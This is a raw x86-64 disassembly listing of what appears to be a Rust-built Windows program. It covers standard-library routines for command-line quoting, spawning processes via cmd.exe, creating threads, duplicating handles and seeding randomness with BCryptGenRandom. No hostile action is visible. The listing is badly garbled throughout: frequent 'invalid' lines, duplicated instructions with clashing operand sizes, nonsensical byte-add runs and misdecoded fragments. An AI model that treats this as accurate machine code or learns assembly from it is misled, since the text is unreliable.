jmp case.0x1400844bb.455
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14007a090
mov qword [rsi], 0
mov dword [rsi], 0
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
invalid
mov byte [rax], al
add byte [rax], al
pop rdi
pop rsi
ret
invalid
mov qword [rsi], 0
movq rax, xmm6
test rax, rax
test eax, eax
test eax, eax
sal byte [rax + riz*8 + 0x48], 0x8b
or eax, 0x6b5cc
je case.0x1400844bb.455
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
add byte [rax], al
add byte [rdi + 0x5e], bl
add byte [rax], al
add byte [rdi + 0x5e], bl
jmp qword [sym.imp.kernel32.dll_HeapFree]
int3
push r13
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
movaps xmmword [rsp + 0x50], xmm6
push rax
mov rsi, rcx
xor r8b, 1
cmp qword [rdx], 0
cmp dword [rdx], 0
cmp dword [rdx], 0
movzx eax, r8b
mov r8d, 2
cmove r8d, eax
mov rbx, qword [rdx + 8]
mov rcx, qword [rdx + 0x18]
lea r14, [rbx + rcx]
xor r11d, r11d
lea rax, str.nul_byte_found_in_provided_data
add eax, 0xda894800
jmp 0x14008dcad
test r9w, r9w
je 0x14008e0cc
mov r9w, 1
test r11w, r11w
jne 0x14008dca0
invalid
je 0x14008dd7b
movzx edi, byte [rdx]
movzx r10d, dil
movzx edx, bh
test r10b, r10b
js 0x14008dcd5
push rdx
add al, cl
in eax, 6
and r10d, 0x3f
or r10d, ebp
cmp dil, 0xf0
jb 0x14008dd39
movzx edi, byte [rdx + 3]
add rdx, 4
and r11d, 7
jrcxz 0x14008dd11
shl r11d, 0x12
shl r10d, 6
and edi, 0x3f
or edi, r10d
or edi, r11d
mov r10d, edi
cmp r10d, 0xffff
ja 0x14008dd4d
invalid
invalid
add rdx, 3
shl r11d, 0xc
or r10d, r11d
fiadd dword [rcx - 0x7f]
cli
invalid
inc dword [rax]
add byte [rsi + 0x23], dh
fiadd dword [rcx - 0x7f]
cli
invalid
invalid
test r8b, r8b
je 0x14008ddc2
cmp rcx, rax
je 0x14008ddb8
add eax, dword [rbx + 0x147409fa]
inc rax
cmp edx, 0x20
jne 0x14008dda0
jmp 0x14008ddc2
push rsi
adc byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
mov word [rax + rdx*2], r12w
inc rdx
inc edx
inc edx
mov qword [rsi + 0x10], rdx
mov r12d, r13d
test r12w, r12w
je 0x14008de40
xor r13d, r13d
test bpl, bpl
jne case.0x14008387e.230
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x14008de00
mov rcx, rsi
call fcn.140010890
sub bh, al
dec dword [rax - 0x75]
push rsi
adc bl, ch
invalid
cmp rbx, r14
je 0x14008e00a
loope 0x14008de96
test ah, ah
js 0x14008de66
inc rbx
xor r13d, r13d
test bpl, bpl
jne case.0x14008387e.230
jmp 0x14008de24
mov eax, r12d
and eax, 0x1f
invalid
movzx edx, byte [rbx + 1]
and edx, 0x3f
cmp r12b, 0xdf
jbe 0x14008deb9
invalid
movzx r12d, byte [rbx + 2]
shl edx, 6
loop 0x14008de87
loop 0x14008de87
invalid
and r12d, 0x3f
or r12d, edx
cmp cl, 0xf0
jb 0x14008ded2
invalid
loopne 0x14008de9f
shl eax, 0x12
shl r12d, 6
shl esp, 6
and ecx, 0x3f
or ecx, r12d
or ecx, eax
mov r12d, ecx
cmp r12d, 0xffff
add byte [rdi], cl
xchg byte [rcx - 1], ah
invalid
invalid
add byte [rdi], cl
xchg byte [rcx - 1], ah
invalid
jmp 0x14008dee9
add rbx, 2
shl eax, 6
or eax, edx
mov r12d, eax
xor r13d, r13d
test bpl, bpl
jne case.0x14008387e.230
push rbx
push rbx
jmp 0x14008de24
add ebx, 3
shl eax, 0xc
loopne 0x14008dee5
loopne 0x14008dee5
or r12d, eax
cmp r12d, 0xffff
jbe 0x14008de18
invalid
invalid
inc dword [rcx - 0x73]
lea eax, [r12 + 0xff0000]
shr eax, 0xa
or cl, byte [0x14009b6f9]
test byte [rax + rax], ah
add bh, bh
add cl, al
call 0x11808ec01
or cl, byte [0x14009b6f9]
or cl, byte [0x14009b6f9]
and r12d, 0x3ff
or r12d, 0xdc00
fadd qword [rax]
invalid
fadd qword [rax]
add byte [rbp - 0x77], al
mov r13d, r12d
mov r12d, eax
mov r13d, r12d
mov r12d, eax
test bpl, bpl
je 0x14008de24
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x41], ah
cmp r12w, 0x22
add byte [rax], al
add byte [rax], al
cmp r12w, 0x22
cld
and dh, byte [rdi + rbx + 0x41]
movzx eax, sp
je 0x14008df46
movzx eax, r12w
cmp eax, 0x5c
jne 0x14008df78
inc rdi
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x14008de00
invalid
invalid
invalid
invalid
invalid
test dword [rdi - 0x16000002], edi
call 0x18a08df45
mov eax, edi
invalid
mov r8, rdi
inc r8
je 0x14008e0e2
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
push rsi
adc byte [rax + 0x29], cl
sub eax, edx
push rsi
adc byte [rax + 0x29], cl
sub eax, edx
cmp rax, r8
sub eax, edx
cmp rax, r8
jb 0x14008dff0
add byte [rax], al
mov rax, qword [rsi]
test rdi, rdi
test edi, edi
test edi, edi
je 0x14008dfce
cmp rdi, 0x10
jae 0x14008df8d
invalid
sbb dword [rcx], esi
leave
jmp 0x14008dfbc
xor edi, edi
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
push rsi
or byte [rdi], cl
test dword [rax - 2], edi
invalid
invalid
invalid
jmp 0x14008de2e
rcl byte [rax], 0x45
xor ecx, ecx
nop
movups xmmword [r8 + r9*2 - 0x10], xmm6
movups xmmword [r8 + r9*2], xmm6
add r9, 0x10
cmp rcx, r9
jne 0x14008dfa0
je 0x14008dfed
invalid
invalid
add rdx, rcx
cmp rdi, rcx
iretd
je 0x14008dfce
invalid
retf 0x3948
iretd
adc cl, byte [rax + 0x29]
iretd
sub rdi, rcx
nop
mov word [rax + rdx*2], 0x5c
inc rdx
dec rdi
jne case.0x140083ded.190
invalid
mov word [rax + rdx*2], 0x5c
mov word [rax + rdx*2], 0x5c
pop rsp
add byte [rax - 1], cl
ret 0x8948
invalid
invalid
inc rdx
mov qword [rsi + 0x10], rdx
mov dword [rsi + 0x10], edx
mov dword [rsi + 0x10], edx
xor edi, edi
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x14008de00
invalid
invalid
invalid
jmp 0x14008de2e
invalid
invalid
mov rcx, rsi
call fcn.1400ae520
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
test rdi, rdi
jne 0x14008df6e
invalid
invalid
invalid
invalid
invalid
jmp 0x14008dfce
mov rcx, rax
sub rcx, rdx
invalid
ror dword [rax + 0x39], 1
stc
cmp rcx, rdi
jb 0x14008e038
test rdi, rdi
je 0x14008e0a2
mov rax, qword [rsi]
cmp rdi, 0x10
jae 0x14008e050
xor ecx, ecx
jmp 0x14008e08c
mov rcx, rsi
mov ecx, esi
mov r8, rdi
call fcn.1400ae520
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
cmp rdi, 0x10
call qword [rax]
call qword [rax]
jb 0x14008e034
mov rcx, rdi
and rcx, 0xfffffffffffffff0
lea r8, [rax + rdx*2]
add r8, 0x10
xor r9d, r9d
nop word cs:[rax + rax]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
movups xmmword [r8 + r9*2 - 0x10], xmm6
movups xmmword [r8 + r9*2], xmm6
add r9, 0x10
cmp rcx, r9
leave
leave
jne 0x14008e070
add rdx, rcx
cmp rdi, rcx
je 0x14008e09e
sub rdi, rcx
nop
mov word [rax + rdx*2], 0x5c
inc rdx
dec rdi
jne 0x14008e090
invalid
mov rax, qword [rsi + 8]
mov qword [rsi + 0x10], rdx
mov dword [rsi + 0x10], edx
cmp rdx, rax
jne 0x14008e0ba
mov rcx, rsi
mov rdx, rax
call fcn.140010890
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
mov word [rax + rdx*2], 0x22
add al, 0x50
and al, byte [rax]
inc rdx
mov qword [rsi + 0x10], rdx
xor eax, eax
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.capacity_overflow
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rax
add al, byte [rsi]
add byte [rax - 0x77], cl
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
and al, 0x38
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_vecmod.rs
lea rcx, [rsp + 0x20]
call fcn.1400a9ee0
ud2
mov r8, qword [rcx + 8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
and al, 0x28
and al, 0x28
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rdx
push rsp
and al, 0x50
mov qword [rsp + 0x58], r8
mov ecx, 1
jmp 0x14008e165
mov qword [rsp + 0x20], rcx
and al, 0x20
and byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x20]
call fcn.14008b880
nop
add rsp, 0x68
ret
mov ecx, esi
call qword [sym.imp.kernel32.dll_GetStdHandle]
test rax, rax
je 0x14008e2ec
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14008e36c
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
or eax, 2
jmp 0x14008e2f6
sub byte [rax], al
add byte [rax], al
add bh, al
and al, 0x20
add byte [rax], al
add byte [rax], al
lea r9, [rbp - 0x10]
lea ecx, [rbp - 0x10]
mov rcx, rax
mov rdx, rdi
mov r8, rax
call qword [sym.imp.kernel32.dll_DuplicateHandle]
test eax, eax
je 0x14008e3af
mov rax, qword [rbp - 0x10]
jmp 0x14008e3c8
lock add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x10], 0
mov word [rbp + 0x14], 0
movaps xmm0, xmmword [0x1400b0ba0]
add byte [rax], al
add byte [rsi - 0x39], ah
adc al, 0
add byte [rdi], cl
sub byte [0x1400b0ba0], al
movups xmmword [rbp], xmm0
cmp esi, 0xfffffff6
sete byte [rbp + 0x10]
mov dword [rbp - 0x40], 0x18
setne byte [rbp + 0x11]
mov qword [rbp - 0x38], 0
mov dword [rbp - 0x30], 1
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x40]
mov qword [rbp - 8], rax
lea rcx, str.NULcmd.exemaximum_number_of_ProcThreadAttributes_exceeded
lea r8, [rbp - 0x10]
mov edx, 3
call fcn.140082100
mov rbx, rdx
jmp 0x14008e35d
movabs rax, 0x600000002
mov qword [rbp - 0x10], 1
lea rcx, [rbp - 8]
mov qword [rbp - 8], rax
call fcn.14007a090
jmp 0x14008e359
xor ebx, ebx
xor eax, eax
mov rdx, rbx
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov qword [rbp - 0x40], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
lea r9, [rbp - 0x40]
mov rcx, rax
mov rdx, rsi
mov r8, rax
call qword [sym.imp.kernel32.dll_DuplicateHandle]
test eax, eax
je 0x14008e3af
mov rbx, qword [rbp - 0x40]
jmp 0x14008e35b
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov eax, 1
jmp 0x14008e35d
mov qword [rbp - 0x28], rax
cmp esi, 0xfffffff6
setne dl
mov byte [rbp + 0x38], 1
lea rcx, [rbp - 0x10]
call fcn.14008f160
cmp qword [rbp - 0x10], 0
mov rbx, qword [rbp - 8]
je 0x14008e422
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
jmp 0x14008e35d
cmp esi, 0xfffffff6
mov rax, qword [rbp - 0x28]
mov rcx, rax
cmovne rcx, rbx
mov qword [rbp - 0x18], rcx
cmovne rbx, rax
mov qword [rbp - 0x20], rbx
mov rax, qword [rbp]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 0
mov byte [rbp + 0x3d], 0
mov byte [rbp + 0x3c], 1
call fcn.14008fb80
mov rsi, rax
mov byte [rbp + 0x3d], 0
mov byte [rbp + 0x3c], 1
xor ecx, ecx
call fcn.140079f30
mov qword [rbp + 0x28], rax
lock inc qword [rax]
jle 0x14008e553
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp - 0x10], 1
mov qword [rbp - 8], 1
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14008e4bc
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008e64e
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008e64e
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movups xmm2, xmmword [rbp + 0x10]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lock inc qword [rax]
jle 0x14008e553
movzx ecx, byte [0x1400f9150]
test cl, cl
mov qword [rbp + 0x30], rax
je 0x14008e557
mov byte [0x1400f9150], 1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xe0], 0
je 0x14008e52c
lea rax, [rax + 0xe8]
jmp 0x14008e53e
mov byte [rbp + 0x3e], 1
call fcn.140085a90
test rax, rax
je 0x14008e714
mov rcx, qword [rax]
mov qword [rax], 0
test rcx, rcx
je 0x14008e557
lock inc qword [rcx]
jg 0x14008e559
ud2
xor ecx, ecx
mov byte [rbp + 0x3a], 0
mov byte [rbp + 0x39], 1
mov qword [rbp + 0x20], rcx
call fcn.1400859a0
test rax, rax
je 0x14008e57d
lock dec qword [rax]
jne 0x14008e57d
mov rcx, rax
call fcn.140068050
mov rbx, qword [rbp + 0x30]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
mov rdi, qword [rbp - 0x20]
je 0x14008e599
lock inc qword [rcx + 0x18]
jle 0x14008e6ca
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14008e5c5
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008e662
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008e662
mov rcx, qword [rbp + 0x28]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [rbp + 0x20]
mov qword [rax + 0x10], rcx
mov rcx, qword [rbp - 0x18]
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rdi
mov byte [rbp + 0x3f], 0
lea r8, case.0x1400844bb.488
mov rcx, rsi
mov rdx, rax
call fcn.140090010
mov rsi, rdx
test rax, rax
jne 0x14008e676
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
lock dec qword [rcx]
mov rsi, qword [rbp + 0x30]
jne 0x14008e635
call fcn.14007a790
lock dec qword [rsi]
jne 0x14008e643
mov rcx, rsi
call fcn.14008ffd0
xor eax, eax
mov rbx, qword [rbp - 0x48]
jmp 0x14008e35d
mov ecx, 8
mov edx, 0x30
call fcn.1400a9e00
jmp 0x14008e740
mov ecx, 8
mov edx, 0x28
call fcn.1400a9e00
jmp 0x14008e740
mov rax, qword [rbp + 0x30]
lock dec qword [rax]
jne 0x14008e689
mov rcx, qword [rbp + 0x30]
call fcn.14008ffd0
mov rax, qword [rbp + 0x28]
lock dec qword [rax]
jne 0x14008e69c
mov rcx, qword [rbp + 0x28]
call fcn.14007a790
mov qword [rbp - 0x10], rsi
lea rax, [0x1400e8958]
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_spawn_thread
lea r9, fcn.14007a090
lea r8, [rbp - 0x10]
mov edx, 0x16
call fcn.1400aa430
jmp 0x14008e740
add rcx, 0x10
mov byte [rbp + 0x3f], 1
xor edx, edx
call fcn.14007c3a0
lea rax, str.too_many_running_threads_in_thread_scope
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov byte [rbp + 0x3f], 1
lea rdx, str.library_std_src_thread_scoped.rs_b
lea rcx, [rbp - 0x10]
call fcn.1400a9ee0
jmp 0x14008e740
mov byte [rbp + 0x3e], 1
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadlocal.rs
lea r9, [0x1400e8060]
lea r8, [rbp - 0x10]
mov edx, 0x46
call fcn.1400aa430
ud2
lea r12, [rdx + 1]
mov r15, rcx
lea rax, [rdx + rdx*2]
mov r8, qword [rcx + rdx*8 + 8]
mov r9, qword [rcx + rax*8 + 0x60]
mov rax, qword [rcx + rax*8 + 0x70]
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x20]
xor edx, edx
call r14
mov r9d, 1
mov rcx, r15
mov rdx, r12
mov r8d, 0
test eax, eax
je 0x14008ee98
sub rdi, 1
jb 0x14008eed7
sub rbx, 1
jb 0x14008eed7
test r9, r9
je 0x14008ed50
test rcx, rcx
jne 0x14008ed50
test rdx, rdx
je 0x14008ee26
mov r9, rdx
and r9, 7
je 0x14008ee2b
mov rax, rdx
and rax, 0xfffffffffffffff8
mov rcx, r8
nop word cs:[rax + rax]
mov rcx, qword [rcx + 0x170]
dec r9
jne 0x14008ed30
cmp rdx, 8
jae 0x14008ee40
jmp 0x14008ee7e
test r9, r9
je 0x14008ef11
movzx eax, word [rcx + 0x16a]
cmp rdx, rax
jb 0x14008ed92
nop word cs:[rax + rax]
mov rax, qword [rcx]
test rax, rax
je 0x14008eef7
inc r8
movzx edx, word [rcx + 0x168]
mov rcx, rax
cmp dx, word [rax + 0x16a]
jae 0x14008ed70
test r8, r8
je 0x14008eca0
mov r15, qword [rcx + rdx*8 + 0x178]
mov rax, r8
add byte [rcx + rcx*4 - 0x40], cl
dec rax
je 0x14008ee1e
mov r9, rax
and r9, 7
and ecx, 7
and ecx, 7
je 0x14008edd5
mov rax, r9
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r15, qword [r15 + 0x170]
dec rax
jne 0x14008edc0
not r9
add r9, r8
add ecx, eax
add ecx, eax
mov rax, r9
add r8, 0xfffffffffffffffe
cmp r8, 7
jb 0x14008ee1e
nop
mov r8, qword [r15 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r8, qword [r8 + 0x170]
mov r15, qword [r8 + 0x170]
add rax, 0xfffffffffffffff8
jne 0x14008ede0
xor r12d, r12d
jmp 0x14008eca7
mov rcx, r8
jmp 0x14008ee7e
mov rcx, r8
mov rax, rdx
cmp rdx, 8
jb 0x14008ee7e
nop word [rax + rax]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
mov rcx, qword [rcx + 0x170]
add rax, 0xfffffffffffffff8
jne 0x14008ee40
xor edx, edx
xor r8d, r8d
movzx eax, word [rcx + 0x16a]
cmp rdx, rax
jae 0x14008ed70
jmp 0x14008ed92
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 0
mov rsi, qword [rbp - 0x20]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_DeleteProcThreadAttributeList]
test r13, r13
je 0x14008eee2
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14008eee2
mov rax, qword [rbp - 0x20]
mov qword [rsi], rax
mov qword [rsi + 8], r13
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x78
pop rbx
pop rdi
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e8618]
adc edx, dword [rdi + 0x2bba0005]
add byte [rax], al
add byte [rax], al
invalid
adc edx, dword [rdi + 0x2bba0005]
add byte [rax], al
add byte [rax], al
call fcn.1400aa0a0
jmp 0x14008ef2d
mov qword [rbp - 0x30], r13
add byte [rax], al
call fcn.1400aa0a0
jmp 0x14008ef2d
mov qword [rbp - 0x30], r13
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e7c88]
lea eax, [0x1400e7c88]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
call fcn.1400aa0a0
add dword [rax], eax
ud2
sti
dec dword [rdi]
or esp, dword [rsi + 0x2e]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x70]
movaps xmmword [rsp + 0x30], xmm6
and al, 0x30
and al, 0x30
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp - 0x20]
invalid
invalid
loopne 0x14008ef6b
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x21497
movaps xmm6, xmmword [rsp + 0x30]
sub byte [rsp + 0x30], dh
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
invalid
ret
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
lea rbp, [rdx + 0x70]
movaps xmmword [rsp + 0x30], xmm6
mov rcx, qword [rbp - 0x20]
loopne case.0x14002739f.1554
mov edx, dword [rbp - 0x30]
je 0x14008efd1
xor byte [rax - 0x75], cl
loopne case.0x14002739f.1554
mov edx, dword [rbp - 0x30]
call fcn.14008f010
movaps xmm6, xmmword [rsp + 0x30]
and al, 0x30
push rbp
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x30], dh
and al, 0x30
and al, 0x30
add rsp, 0x48
pop rbx
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
movaps xmmword [rsp + 0x30], xmm6
ud2
je 0x14008f021
xor byte [rdi], cl
or ecx, dword [rdi]
or ecx, esp
int3
int3
call qword [sym.imp.kernel32.dll_DeleteProcThreadAttributeList]
test rdi, rdi
je 0x14008f040
add byte [rax - 0x7b], cl
push qword [rcx + rbx + 0x48]
mov ecx, dword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rdi
pop rsi
ret
add rsp, 0x20
pop rsi
ret
int3
int3
cmp dword [rax], eax
je 0x14008f155
mov rdx, qword [rcx + 8]
test rdx, rdx
je case.0x14002739f.1590
or byte [rax - 0x7b], cl
sal byte [rbp + rsi + 0x4c], cl
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
and al, 0x48
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
and al, 0x58
and al, 0x58
mov ecx, 1
jmp case.0x1400270ad.1600
add bl, ch
add al, 0x31
xor ecx, ecx
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x20], rcx
and al, 0x20
mov qword [rsp + 0x40], rcx
and al, 0x40
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
invalid
lea rcx, [rsp + 0x20]
and al, 0x20
call fcn.14008b880
sub eax, edi
invalid
call qword [rax + 0x68c48348]
nop
add rsp, 0x68
invalid
invalid
invalid
ret
int3
int3
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x148
sub esp, 0x148
sub esp, 0x148
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
add byte [rax], 0
add byte [rdi], cl
sub dword [rbp + 0xb0], esi
mov al, 0
add byte [rax], al
movaps xmmword [rbp + 0xb0], xmm6
mov al, 0
add byte [rax], al
mov qword [rbp + 0xa8], 0xfffffffffffffffe
mov qword [rbp + 0x68], rcx
push 0xa59588
add byte [rax], al
test al, 0
add byte [rax], al
invalid
dec dword [rax - 0x77]
push 0xa59588
push 0xa59588
push 0xa59588
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rdi], cl
movzx eax, dl
add byte [rax], al
movzx eax, dl
mov ecx, 0x40080002
sub ecx, eax
sub ecx, eax
mov dword [rbp + 0x64], ecx
xor edi, edi
inc dword [rcx - 0x41]
or byte [rax], al
add byte [rax], al
inc dword [rcx - 0x41]
or byte [rax], al
add byte [rax], al
mov sil, 1
xorps xmm6, xmm6
mov r12, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov esp, dword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov esp, dword [sym.imp.bcrypt.dll_BCryptGenRandom]
lar eax, word [rax]
xor eax, eax
mov qword [rbp - 8], rax
clc
ror byte [rax - 0x77], 0x45
clc
clc
nop
call qword [sym.imp.kernel32.dll_GetCurrentProcessId]
adc eax, 0x2108a
adc eax, 0x2108a
add al, byte [rax]
mov dword [rbp + 0x58], eax
pop rax
jmp 0x14008f1db
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x20]
and byte [r8 - 0x79], r9b
xchg qword [0x1400f9200], rax
add eax, 0x6a025
invalid
mov rax, qword [0x1400f9200]
add eax, 0x6a01e
invalid
test rax, rax
jne 0x14008f230
sal byte [rbp + 0x49], 0xf
sub dword [rbp + 0x20], esi
movaps xmmword [rbp + 0x20], xmm6
xor ecx, ecx
lea rdx, [rbp + 0x20]
lea edx, [rbp + 0x20]
lea edx, [rbp + 0x20]
mov r8d, 0x10
mov eax, 0x10
add byte [rax], al
mov r9d, 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rcx - 1], al
invalid
call r12
test eax, eax
jns 0x14008f1d0
int3
int3
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x70], rbx
pop rbp
jo 0x14008f24d
mov byte [rbp + 0xa7], bh
pop rbp
jo 0x14008f24d
mov byte [rbp + 0xa7], bh
add byte [rax], al
mov byte [rbp + 0xa6], 1
add byte [rcx], al
call fcn.140090c60
jmp 0x14008f1d4
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax + 1], bh
invalid
mov eax, 1
add al, dh
xadd qword [0x1400f9200], rax
lahf
invalid
invalid
lock xadd qword [0x1400f9200], rax
lahf
invalid
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x58]
mov qword [rbp], rax
add byte [rax - 0x73], cl
add eax, 0xfffb496f
